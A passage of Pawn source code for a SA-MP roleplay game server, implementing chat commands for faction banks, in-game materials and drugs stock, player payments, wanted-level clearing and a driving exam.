									format(string, sizeof(string), "%s have been unwarned %s in faction id %d (%d-%d-%d)",sendername,giveplayer,famil,month,day,year);
									//FactionLog(string);

									new Member[64];
									if(PlayerInfo[playerid][pLeader] == 0) {
									format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pMember]);
									}
									else {
									format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pLeader]);
									}
									new reas[70];
									format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);
									AddLog(PINFO[para1][pName], Member, "Received a Faction Warn clear", reas, 4);

								}
								else
								{
									SendMessage(playerid, COLOR_GRAD2, "This player isn't in your faction.");
								}
							}
							else
							{
								SendMessage(playerid, COLOR_GRAD2, "You cannot unfwarn the leader.");
							}
						}
					}
					else
					{
					SCM(playerid,COLOR_WHITE,"Player not connected.");
					return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW, "Error: Only leaders can use this command.");
					return 1;
				}
			}
			return 1;
		}
	//---------------------------------[F-DEPOSIT-SITEM]-------------------------------------
		if(strcmp(cmd, "/fdeposit", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if(IsAMember(playerid))
				{
					tmp = strtok(cmdtext, idx);
					new x;
					if(PlayerInfo[playerid][pLeader]) x = PlayerInfo[playerid][pLeader]-1;
					else x = PlayerInfo[playerid][pMember]-1;
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /fdeposit <Amount>");
						return 1;
					}
					new cashdeposit = strval(tmp);
					GetPlayerName(playerid, sendername, sizeof(sendername));
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /fdeposit <Amount>");
						return 1;
					}
					if(IsPlayerInHQ(playerid))
					{
						if(GetPlayerPool(playerid) >= cashdeposit && cashdeposit >= 1)
						{
							GivePlayerPool(playerid,-cashdeposit);
							new oldbalance = DynamicFactions[x][fBank];
							DynamicFactions[x][fBank]=DynamicFactions[x][fBank]+cashdeposit;
							SendMessage(playerid, CRISTIAN, "|____SAFEBOX STATMENT____|");
							format(string, sizeof(string), " Old Balance: $%s", FormatNumber(oldbalance));
							SendMessage(playerid, 0xA4A4A4FF, string);
							format(string, sizeof(string), " Deposit: +$%s ", FormatNumber(cashdeposit));
							SendMessage(playerid, 0xD8D8D8FF, string);
							SendMessage(playerid, CRISTIAN, "|---------------------------------------------| ");
							format(string, sizeof(string), " New balance: $%s", FormatNumber(DynamicFactions[x][fBank]));
							SendMessage(playerid, 0xFFFFFFFF, string);
							format(string, sizeof(string),  "%s has just put $%d money on the HQ !",sendername,FormatNumber(cashdeposit));
							SendFamilyMessage(x+1, COLOR_GRAD4, string);
							SaveDynamicFactions(x);
							return 1;
						}
						else

						{
							SendMessage(playerid, COLOR_WHITE, "You haven't that amount of money!");
						}
					}
					else
					{
						SCM(playerid,COLOR_SINA3,"You are not in your HQ.");
					}
				}
				else
				{
				SCM(playerid,COLOR_SINA3,"You are not a Family Member.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/fwithdraw", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if((PINFO[playerid][pLeader] == 5 || PINFO[playerid][pLeader] == 6 || PINFO[playerid][pLeader] == 12 || PINFO[playerid][pLeader] == 13 || PINFO[playerid][pLeader] == 14 || PINFO[playerid][pLeader] == 15) || PINFO[playerid][pRank] >= 6)
				{

					tmp = strtok(cmdtext, idx);
					new x;
					x = PlayerInfo[playerid][pLeader]-1;
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /fwithdraw <Amount>");
						return 1;
					}
					new cashdeposit = strval(tmp);
					GetPlayerName(playerid, sendername, sizeof(sendername));
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /fwithdraw <Amount>");
						return 1;
					}
					if(IsPlayerInHQ(playerid))
					{
						if(cashdeposit <= DynamicFactions[x][fBank])
						{
							if(cashdeposit < 0) return SCM(playerid, COLOR_GRAD2, "Bug Ghadime Rafigh");
							new oldbalance1 = DynamicFactions[x][fBank];
							GivePlayerPool(playerid,cashdeposit);
							DynamicFactions[x][fBank]=DynamicFactions[x][fBank]-cashdeposit;
							SCM(playerid, CRISTIAN, "|____SAFEBOX STATMENT____|");
							format(string, sizeof(string), "Old Balance: $%s ", FormatNumber(oldbalance1));
							SCM(playerid, COLOR_GRAD4, string);
							format(string, sizeof(string), "Withdraw: -$%s ", FormatNumber(cashdeposit));
							SCM(playerid, COLOR_GRAD4, string);
							SCM(playerid, CRISTIAN, "|---------------------------------------------| ");
							format(string, sizeof(string), "New balance: %s %", FormatNumber(DynamicFactions[x][fBank]));
							SCM(playerid, COLOR_GRAD2, string);
							format(string, sizeof(string),  "%s has just taken $%d money from the HQ !",sendername,FormatNumber(cashdeposit));
							SendFamilyMessage(x+1, COLOR_GRAD4, string);
							SaveDynamicFactions(x);
							return 1;
						}
						else
						SCM(playerid, COLOR_GRAD4, "You haven't that amount of money in your faction seif");
						return 1;
					}
					else
					SCM(playerid,COLOR_SINA3,"You are not in your HQ.");
					return 1;
				}
				else
				SCM(playerid,COLOR_SINA3,"You are not a Family Leader.");
				return 1;
			}
			return 1;
		}
		if(strcmp(cmd, "/fbalance", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if(IsAMember(playerid))
				{
					new x;
					if(PlayerInfo[playerid][pLeader]) x = PlayerInfo[playerid][pLeader]-1;
					else x = PlayerInfo[playerid][pMember]-1;
					format(string, sizeof(string), "Your family have $%s in safebox.", FormatNumber(DynamicFactions[x][fBank]));
					SendMessage(playerid, 0xEEE84BFF, string);
				}
			}
			return 1;
		}
	if(strcmp(cmd, "/fmats", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				if(IsAMemberC(playerid))
				{
					new x;
					if(PlayerInfo[playerid][pLeader]) x = PlayerInfo[playerid][pLeader]-1;
					else x = PlayerInfo[playerid][pMember]-1;
					if(PlayerInfo[playerid][pRank] < 3)
					{
						SendMessage(playerid, COLOR_GREY, "You need to be Rank 3 or Higher for this action.");
						return 1;
					}
					new x_nr[256];
					x_nr = strtok(cmdtext, idx);
					if(!strlen(x_nr))
					{
						if(IsPlayerInHQ(playerid))
						{
							format(string, sizeof(string), "Faction Mats: %d.", DynamicFactions[x][fMats]);
							SendMessage(playerid, COLOR_WHITE, string);
						}
						SendMessage(playerid, CRISTIAN, "___________________________________________");
						SendMessage(playerid, COL_SYN, "Syntax: /fmats <Name> <Amount>");
						SendMessage(playerid, COL_SYN, "Available Names: Take, Put");
						return 1;
					}
					GetPlayerName(playerid, sendername, sizeof(sendername));
					GetPlayerName(giveplayerid, playername, sizeof(playername));
					if(strcmp(x_nr,"take",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /fmats take <Amount>");
							return 1;
						}
						new materialsdeposit = strval(tmp);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /fmats take <Amount>");
							return 1;
						}
						if(IsPlayerInHQ(playerid))
						{
						  if(DynamicFactions[x][fMats]  >= materialsdeposit && materialsdeposit >= 1 )
							{
								PlayerInfo[playerid][pMats] += materialsdeposit;
								SaveKonVal(playerid, "pMats", PINFO[playerid][pMats]);
								DynamicFactions[x][fMats]=DynamicFactions[x][fMats]-materialsdeposit;
								SendMessage(playerid, CRISTIAN, "|______Faction Materials______|");
								format(string, sizeof(string), "You get %d mats.", materialsdeposit);
								SendMessage(playerid, COLOR_GRAD2, string);
								SendMessage(playerid, CRISTIAN, "|------------------------------------| ");
								format(string, sizeof(string), "Total Mats: %d .", DynamicFactions[x][fMats]);
								SendMessage(playerid, COLOR_GRAD4, string);
								format(string, sizeof(string),  "%s has just taken %d mats from the HQ !",sendername,materialsdeposit);
								SendFamilyMessage(x+1, COLOR_GRAD4, string);
								SaveDynamicFactions(x);
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "There isn't that much mats in storage!");
							}
						}
						else
						{
							SCM(playerid,COLOR_SINA3,"You are not in your HQ.");
						}
					}
					else if(strcmp(x_nr,"put",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /fmats put <Amount>");
							return 1;
						}
						new materialsdeposit = strval(tmp);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /fmats put <Amount>");
							return 1;
						}
						if(IsPlayerInHQ(playerid))
						{
							 if(PlayerInfo[playerid][pMats] >= materialsdeposit && materialsdeposit >= 1 )
							{
								PlayerInfo[playerid][pMats] =PlayerInfo[playerid][pMats]-materialsdeposit;
								SaveKonVal(playerid, "pMats", PINFO[playerid][pMats]);
								DynamicFactions[x][fMats] +=materialsdeposit;
								SendMessage(playerid, CRISTIAN, "|______Faction Materials______|");
								format(string, sizeof(string), "Deposit %d mats.", materialsdeposit);
								SendMessage(playerid, COLOR_GRAD2, string);
								SendMessage(playerid, CRISTIAN, "|------------------------------------| ");
								format(string, sizeof(string), "Total Mats: %d .", DynamicFactions[x][fMats]);
								SendMessage(playerid, COLOR_GRAD4, string);
								format(string, sizeof(string),  "%s has just put %d mats on the HQ !",sendername,materialsdeposit);
								SendFamilyMessage(x+1, COLOR_GRAD4, string);
								SaveDynamicFactions(x);
				                PlayerInfo[playerid][pFAct1] += materialsdeposit;
				                SaveKonVal(playerid, "pFAct1", PINFO[playerid][pFAct1]);
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "You haven't that much mats on you!");
							}
						}
						else
						{
							SCM(playerid,COLOR_SINA3,"You are not in your HQ.");
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "Unknown fMats name.");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "You are not a faction member.");
					return 1;
				}
			}
			return 1;
		}
	if(strcmp(cmd, "/fdrugs", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(IsAMemberC(playerid))
				{
					if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
					new x;
					if(PlayerInfo[playerid][pLeader]) x = PlayerInfo[playerid][pLeader]-1;
					else x = PlayerInfo[playerid][pMember]-1;
					new x_nr[256];
					x_nr = strtok(cmdtext, idx);
					if(!strlen(x_nr))
					{
						if(PlayerToPoint(30.0,playerid,DynamicFactions[x][ffX],DynamicFactions[x][ffY],DynamicFactions[x][ffZ]))
						{
							format(string, sizeof(string), "Faction Drugs: %d.", DynamicFactions[x][fDrugs]);
							SendMessage(playerid, COLOR_WHITE, string);
						}
						SendMessage(playerid, COL_SYN, "Syntax: /fdrugs <Name> <Amount>");
						SendMessage(playerid, COL_SYN, "Available Names: Take , Put");
						return 1;
					}
					GetPlayerName(playerid, sendername, sizeof(sendername));
					GetPlayerName(giveplayerid, playername, sizeof(playername));
					if(strcmp(x_nr,"take",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /fdrugs take <Amount>");
							return 1;
						}
						new materialsdeposit = strval(tmp);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /fdrugs take <Amount>");
							return 1;
						}
						if(IsPlayerInHQ(playerid))
						{
							 if(DynamicFactions[x][fDrugs]  >= materialsdeposit && materialsdeposit >= 1 )
							{
								if(UseDrugp[playerid] == 1) return SCM(playerid, COLOR_GREY, "Error: please wait for 5 seconds to use more drugs.");
								UseDrugp[playerid] = 1;
								SetTimerEx("UseDrug", 5000, 0, "d", playerid);

								PlayerInfo[playerid][pDrugs] += materialsdeposit;
								SaveKonVal(playerid, "pDrugs", PINFO[playerid][pDrugs]);
								DynamicFactions[x][fDrugs]=DynamicFactions[x][fDrugs]-materialsdeposit;
								SendMessage(playerid, CRISTIAN, "|______Faction Drugs______|");
								format(string, sizeof(string), "You get %d grams of drugs.", materialsdeposit);
								SendMessage(playerid, COLOR_GRAD2, string);
								SendMessage(playerid, CRISTIAN, "|------------------------------------| ");
								format(string, sizeof(string), "Total Drugs: %d grams.", DynamicFactions[x][fDrugs]);
								SendMessage(playerid, COLOR_GRAD4, string);
								format(string, sizeof(string),  "%s has just taken %d drugs from the HQ !",sendername,materialsdeposit);
								SendFamilyMessage(x+1, COLOR_GRAD4, string);
								SaveDynamicFactions(x);
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "There isn't that much drugs in storage!");
							}
						}
						else
						{
							SCM(playerid,COLOR_SINA3,"You are not in your HQ.");
						}
					}
					else if(strcmp(x_nr,"put",true) == 0)
					{
						tmp = strtok(cmdtext, idx);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /fdrugs put <Amount>");
							return 1;
						}
						new materialsdeposit = strval(tmp);
						if(!strlen(tmp))
						{
							SendMessage(playerid, COL_SYN, "Syntax: /fdrugs put <Amount>");
							return 1;
						}
						if(IsPlayerInHQ(playerid))
						{
						   if(PlayerInfo[playerid][pDrugs]  >= materialsdeposit && materialsdeposit >= 1 )
							{
								PlayerInfo[playerid][pDrugs] =PlayerInfo[playerid][pDrugs]-materialsdeposit;
								SaveKonVal(playerid, "pDrugs", PINFO[playerid][pDrugs]);
								DynamicFactions[x][fDrugs] +=materialsdeposit;

								SendMessage(playerid, CRISTIAN, "|______Faction Drugs______|");
								format(string, sizeof(string), "Deposit %d grams of drugs.", materialsdeposit);
								SendMessage(playerid, COLOR_GRAD2, string);
								SendMessage(playerid, CRISTIAN, "|------------------------------------| ");
								format(string, sizeof(string), "Total Drugs: %d grams.", DynamicFactions[x][fDrugs]);
								SendMessage(playerid, COLOR_GRAD4, string);
								format(string, sizeof(string),  "%s has just put %d drugs on the HQ !",sendername,materialsdeposit);
								SendFamilyMessage(x+1, COLOR_GRAD4, string);
								SaveDynamicFactions(x);
				                PlayerInfo[playerid][pFAct2] += materialsdeposit;
				                SaveKonVal(playerid, "pFAct2", PINFO[playerid][pFAct2]);
								return 1;
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "You haven't that much drugs on you!");
							}
						}
						else
						{
							SCM(playerid,COLOR_SINA3,"You are not in your HQ.");
						}
					}
					else
					{
						SendMessage(playerid, COLOR_GREY, "Unknown fDrugs name.");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_GREY, "You are not a faction member.");
					return 1;
				}
			}
			return 1;
		}



	//---------------------------------[Admin check fbank]-------------------------------------// Hey Man Ta Inja omadam //
		if(strcmp(cmd, "/afcheck", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 5 || PINFO[playerid][pSponser] == 1)
				{
					new x_nr[256];
					x_nr = strtok(cmdtext, idx);
					if(!strlen(x_nr))
					{
						SendMessage(playerid, CRISTIAN, "___________________________________________");
						SendMessage(playerid, COL_SYN, "Syntax: /afcheck <Name>");
						SendMessage(playerid, COL_SYN, "Available Names: DT, HIT, SM, SMF");
						SendMessage(playerid, COL_SYN, "Available Names: LM, TG, TK, TB");
						return 1;
					}
					if(strcmp(x_nr,"DNB",true) == 0)
					{
						new idfactiune;
						idfactiune = 5;
						SendMessage(playerid, COLOR_GRAD4, "Da Nang Boys Deposit");
						SendMessage(playerid, CRISTIAN, "|-------------------------|");
						format(string, sizeof(string), "Balance: $%s.",FormatNumber(DynamicFactions[idfactiune][fBank]));
						SendMessage(playerid, COLOR_GRAD2, string);
						format(string, sizeof(string), "Drugs: %d g.",DynamicFactions[idfactiune][fDrugs]);
						SendMessage(playerid, COLOR_GRAD3, string);
						format(string, sizeof(string), "Materials: %d .",DynamicFactions[idfactiune][fMats]);
						SendMessage(playerid, COLOR_GRAD4, string);
					}
					else if(strcmp(x_nr,"TK",true) == 0)
					{
						new idfactiune;
						idfactiune = 6;
						SendMessage(playerid, COLOR_GRAD4, "Triads Deposit");
						SendMessage(playerid, CRISTIAN, "|-------------------------|");
						format(string, sizeof(string), "Balance: $%s.",FormatNumber(DynamicFactions[idfactiune][fBank]));
						SendMessage(playerid, COLOR_GRAD2, string);
						format(string, sizeof(string), "Drugs: %d g.",DynamicFactions[idfactiune][fDrugs]);
						SendMessage(playerid, COLOR_GRAD3, string);
						format(string, sizeof(string), "Materials: %d .",DynamicFactions[idfactiune][fMats]);
						SendMessage(playerid, COLOR_GRAD4, string);
					}
					else if(strcmp(x_nr,"HIT",true) == 0)
					{
						new idfactiune;
						idfactiune = 8;
						SendMessage(playerid, COLOR_GRAD4, "Hitman Deposit");
						SendMessage(playerid, CRISTIAN, "|-------------------------|");
						format(string, sizeof(string), "Balance: $%s.",FormatNumber(DynamicFactions[idfactiune][fBank]));
						SendMessage(playerid, COLOR_GRAD2, string);
					}
					else if(strcmp(x_nr,"LM",true) == 0)
					{
						new idfactiune;
						idfactiune = 13;
						SendMessage(playerid, COLOR_GRAD4, " Vagos Deposit");
						SendMessage(playerid, CRISTIAN, "|-------------------------|");
						format(string, sizeof(string), "Balance: $%s.",FormatNumber(DynamicFactions[idfactiune][fBank]));
						SendMessage(playerid, COLOR_GRAD2, string);
						format(string, sizeof(string), "Drugs: %d g.",DynamicFactions[idfactiune][fDrugs]);
						SendMessage(playerid, COLOR_GRAD3, string);
						format(string, sizeof(string), "Materials: %d .",DynamicFactions[idfactiune][fMats]);
						SendMessage(playerid, COLOR_GRAD4, string);
					}
					else if(strcmp(x_nr,"DT",true) == 0)
					{
						new idfactiune;
						idfactiune = 12;
						SendMessage(playerid, COLOR_GRAD4, "Grove Street Deposit");
						SendMessage(playerid, CRISTIAN, "|-------------------------|");
						format(string, sizeof(string), "Balance: $%s.",FormatNumber(DynamicFactions[idfactiune][fBank]));
						SendMessage(playerid, COLOR_GRAD2, string);
						format(string, sizeof(string), "Drugs: %d g.",DynamicFactions[idfactiune][fDrugs]);
						SendMessage(playerid, COLOR_GRAD3, string);
						format(string, sizeof(string), "Materials: %d .",DynamicFactions[idfactiune][fMats]);
						SendMessage(playerid, COLOR_GRAD4, string);
					}
					else if(strcmp(x_nr,"TG",true) == 0)
					{
						new idfactiune;
						idfactiune = 14;
						SendMessage(playerid, COLOR_GRAD4, "The Ballas Deposit");
						SendMessage(playerid, CRISTIAN, "|-------------------------|");
						format(string, sizeof(string), "Balance: $%s.",FormatNumber(DynamicFactions[idfactiune][fBank]));
						SendMessage(playerid, COLOR_GRAD2, string);
						format(string, sizeof(string), "Drugs: %d g.",DynamicFactions[idfactiune][fDrugs]);
						SendMessage(playerid, COLOR_GRAD3, string);
						format(string, sizeof(string), "Materials: %d .",DynamicFactions[idfactiune][fMats]);
						SendMessage(playerid, COLOR_GRAD4, string);
					}
					if(strcmp(x_nr,"SM",true) == 0)
					{
						new idfactiune;
						idfactiune = 15;
						SendMessage(playerid, COLOR_GRAD4, "Varrios Los Aztecas Deposit");
						SendMessage(playerid, CRISTIAN, "|-------------------------|");
						format(string, sizeof(string), "Balance: $%s.",FormatNumber(DynamicFactions[idfactiune][fBank]));
						SendMessage(playerid, COLOR_GRAD2, string);
						format(string, sizeof(string), "Drugs: %d g.",DynamicFactions[idfactiune][fDrugs]);
						SendMessage(playerid, COLOR_GRAD3, string);
						format(string, sizeof(string), "Materials: %d .",DynamicFactions[idfactiune][fMats]);
						SendMessage(playerid, COLOR_GRAD4, string);
					}
					if(strcmp(x_nr,"TB",true) == 0)
					{
						new idfactiune;
						idfactiune = 19;
						SendMessage(playerid, COLOR_GRAD4, "Top Boys Deposit");
						SendMessage(playerid, CRISTIAN, "|-------------------------|");
						format(string, sizeof(string), "Balance: $%s.",FormatNumber(DynamicFactions[idfactiune][fBank]));
						SendMessage(playerid, COLOR_GRAD2, string);
						format(string, sizeof(string), "Drugs: %d g.",DynamicFactions[idfactiune][fDrugs]);
						SendMessage(playerid, COLOR_GRAD3, string);
						format(string, sizeof(string), "Materials: %d .",DynamicFactions[idfactiune][fMats]);
						SendMessage(playerid, COLOR_GRAD4, string);
					}
					else
					{
						SendMessage(playerid, COLOR_GRAD4, "Unknown family name");
						return 1;
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}

	//-------------------------------[Pay]--------------------------------------------------------------------------
	   if(strcmp(cmd, "/pay", true) == 0)
		{
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /pay <Playerid/PartOfName> <Amount>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /pay <Playerid/PartOfName> <Amount>");
					return 1;
				}
				moneys = strval(tmp);
				//new mon = GetPlayerPool(playerid)-50000;
				//if(PINFO[playerid][pGift] == 1 && mon  < moneys) return SCM(playerid,COLOR_Good,"You cannot pay gift moneys.");
				if(PlayerInfo[playerid][pLevel] <= 2)
				{
				SCM(playerid,COLOR_Good,"You must be at Level +3 to pay over 2000$.");
				return 1;
				}
				if(moneys > 2000 && PlayerInfo[playerid][pLevel] < 3)
				{
					SCM(playerid,COLOR_Good,"You must be at Level +3 to pay over 1000$.");
					return 1;
				}
				if(moneys > 3000 && PlayerInfo[playerid][pLevel] < 4)
				{
					SCM(playerid,COLOR_Good,"You must be at Level +4 to pay over 400$.");
					return 1;
				}
				if(moneys > 4000 && PlayerInfo[playerid][pLevel] < 5)
				{
					SCM(playerid,COLOR_Good,"You must be at Level +5 to pay over 4000$.");
					return 1;
				}
				if(moneys > 5000 && PlayerInfo[playerid][pLevel] < 7)
				{
					SCM(playerid,COLOR_Good,"You must be at Level +7 to pay over 5,000$.");
					return 1;
				}
				if(moneys < 1 || moneys > 5000)
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "Dont go below 1$, or above 5,000$ at once.");
					return 1;
				}
				if (IsPlayerConnected(giveplayerid))
				{
					if(giveplayerid != INVALID_PLAYER_ID)
					{
						if (ProxDetectorS(5.0, playerid, giveplayerid))
						{
							if(giveplayerid == playerid)
							{
								SendMessage(playerid, COLOR_GREY, "You can not pay for yourself.");
								return 1;
							}
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							playermoney = GetPlayerPool(playerid);
							if (moneys > 0 && playermoney >= moneys)
							{
//								LoopingAnim(playerid,"PED","ATM",4.1,0,0,0,0,0);
								GivePlayerPool(playerid, (0 - moneys));
								GivePlayerPool(giveplayerid, moneys);
								format(string, sizeof(string), "You have sent %s(player: %d), $%s.", giveplayer,giveplayerid,FormatNumber( moneys));
								PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
								SendMessage(playerid, COLOR_GRAD1, string);
								format(string, sizeof(string), "You have recieved $%s from %s(player: %d).", FormatNumber(moneys), sendername, playerid);
								SendMessage(giveplayerid, COLOR_GRAD1, string);
								format(string, sizeof(string), "%s has paid $%s to %s", sendername, FormatNumber(moneys), giveplayer);
								if(moneys >= 1000000)
								{
									ABroadCast(COLOR_YELLOW,string,1);
								}
								PlayerPlaySound(giveplayerid, 1052, 0.0, 0.0, 0.0);
								format(string, sizeof(string), "%s takes out some cash, and hands it to %s.", sendername ,giveplayer);
								ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
							}
							else
							{
								SendMessage(playerid, COLOR_GRAD1, "Invalid transaction amount.");
							}
						}
						else
						{
							SendMessage(playerid, COLOR_GRAD1, "your too far away.");
						}
					}//invalid id
				}
				else
				{
					format(string, sizeof(string), "That player is offline.");
					SendMessage(playerid, COLOR_GRAD1, string);
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/clear", true) == 0)
		{
		if(!IsACop(playerid)) return SCM(playerid,COLOR_BLUE,"You are not a Cop.");
		tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /clear <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
				if(PlayerInfo[giveplayerid][pWanted] == 0)
				{
				SCM(playerid,COLOR_SINA3,"That player doesn't have any wanted level.");
				return 1;
				}
				new wanted = GetPlayerWantedLevel(giveplayerid) - 1;
				SetPlayerWantedLevel(giveplayerid, wanted);
				new adminame[MAX_PLAYER_NAME];
				new giveplayers[MAX_PLAYER_NAME];
				GetPlayerName(giveplayerid,giveplayers,sizeof(giveplayers));
				GetPlayerName(playerid,adminame,sizeof(adminame));
				new strr[128];
				format(strr,sizeof(strr),"Cop %s cleared 1 wanted from you.",adminame);
				SCM(giveplayerid,COLOR_SINA3,strr);
				if(GetPlayerWantedLevel(giveplayerid) != 0)
				{
                WantedTimerEZ[giveplayerid] = 900;
                WantedKamKonTimerValid[playerid] = true;
                }
//								new cbjstore[512];
				format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s %s cleared 1 wanted from %s",GetPlayerRank(playerid),adminame,giveplayers);
				SendFamilyMessage(1, COLOR_BLUE, string);
				SendFamilyMessage(2, COLOR_BLUE, string);
				SendFamilyMessage(3, COLOR_BLUE, string);
				return 1;
				}
				else {
				SCM(playerid,COLOR_WHITE,"Player not connected.");
				return 1;
				}
				}
		if(strcmp(cmd, "/clearwanted", true) == 0 || strcmp(cmd, "/clearwanteds", true) == 0)
		{
		if(PlayerInfo[playerid][pAdmin] < 6 && PlayerInfo[playerid][pSponser] == 0)
		{
		SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		return 1;
		}
		tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /clearwanted <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(IsPlayerConnected(giveplayerid))
				{
				if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(giveplayerid!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
				if(PlayerInfo[giveplayerid][pWanted] == 0)
				{
				SCM(playerid,COLOR_YELLOW2,"Error: That player doesn't have any wanteds.");
				return 1;
				}
				SetPlayerWantedLevel(giveplayerid, 0);
				new adminame[MAX_PLAYER_NAME];
				new giveplayers[MAX_PLAYER_NAME];
				GetPlayerName(giveplayerid,giveplayers,sizeof(giveplayers));
				GetPlayerName(playerid,adminame,sizeof(adminame));
				new strr[128];
				format(strr,sizeof(strr),"Admin %s cleared your wanteds.",adminame);

				SCM(giveplayerid,COLOR_SINA3,strr);
					if(ImFararing[giveplayerid]==1)
					{
					ImFararing[giveplayerid]=0;
					YekiFararKarde=0;
					if(FararTime[giveplayerid]!=0){KillTimer(FararTime[giveplayerid]);FararTime[giveplayerid]=0;}
					StopPrisonAlarm();
					}
			 GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has cleared %s's wanteds.", sendername,giveplayer);
				ABroadCast(COLOR_AdminWarn,string,1);
				return 1;
				}
				else {
				SCM(playerid,COLOR_WHITE,"Player not connected.");
				return 1;
				}
				}
	//===============TakeTest==================================
		if(strcmp(cmd, "/exam", true) == 0)
		{
		  if(!PlayerToPoint(2.0,playerid,1641.388671,-2177.379638,13.554687))
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You are not at DMV.");
					return 1;
				}
			 if(PINFO[playerid][pCarLicS] > 0) return SCM(playerid,COLOR_MAMAD,"You cannot have a driving license because you're driving license is suspended.");
			 if(GetPlayerPool(playerid) >= 50)
			 {
			   if(PlayerInfo[playerid][pCarLic] == 0)
			   {
				 if(TakingLesson[playerid] == 0)
				 {
						 TakingLesson[playerid] = 1;
						 PutPlayerInExamVehicle( playerid );
						 //SCM(playerid,COLOR_WHITE," ");
				   return 1;
					}
					else
					{
				   SendMessage(playerid,COLOR_LIGHTBLUE,"Already during the test!");
				   return 1;
				 }
				  }
				  else
				  {
				 SendMessage(playerid,COLOR_LIGHTBLUE,"you already have a driving license!" );
				 return 1;
			   }
				}
				else
				{
			   SendMessage(playerid,COLOR_LIGHTBLUE,"You haven't $5,000.");
			   return 1;
			 }
		}
	   /*if(strcmp(cmd, "/drivingrules", true) == 0)
		{
